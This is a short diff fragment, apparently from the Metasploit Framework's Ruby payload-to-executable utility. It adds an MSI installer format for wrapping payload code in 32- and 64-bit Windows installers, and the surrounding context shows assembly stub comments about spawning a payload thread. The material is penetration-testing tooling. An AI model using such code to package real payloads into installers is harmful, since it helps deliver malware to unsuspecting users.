call ebp ; Spawn payload thread call ebp ; Spawn payload thread
pop eax ; Skip pop eax ; Skip
; pop eax ; Skip ; pop eax ; Skip
pop eax ; Skip pop eax ; Skip
popad ; Get our registers back popad ; Get our registers back
; sub esp, 44 ; Move stack pointer back past the handler ; sub esp, 44 ; Move stack pointer back past the handler
^ ^
stub_final = %Q^ stub_final = %Q^
@ -1813,7 +1865,7 @@ End Sub
stub_alloc.gsub!('byte', '') stub_alloc.gsub!('byte', '')
wrapper = "" wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp} # regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0 cnt_jmp = 0
cnt_nop = 64 cnt_nop = 64
@ -1896,6 +1948,15 @@ End Sub
output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
end end
when 'msi'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_msi(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_win64pe_msi(framework, code, exeopts)
end
when 'elf' when 'elf'
if (not plat or (plat.index(Msf::Module::Platform::Linux))) if (not plat or (plat.index(Msf::Module::Platform::Linux)))
if (not arch or (arch.index(ARCH_X86))) if (not arch or (arch.index(ARCH_X86)))
@ -1960,7 +2021,7 @@ End Sub
end end
def self.to_executable_fmt_formats def self.to_executable_fmt_formats
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] ['dll','exe','exe-small','msi','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
end end
# #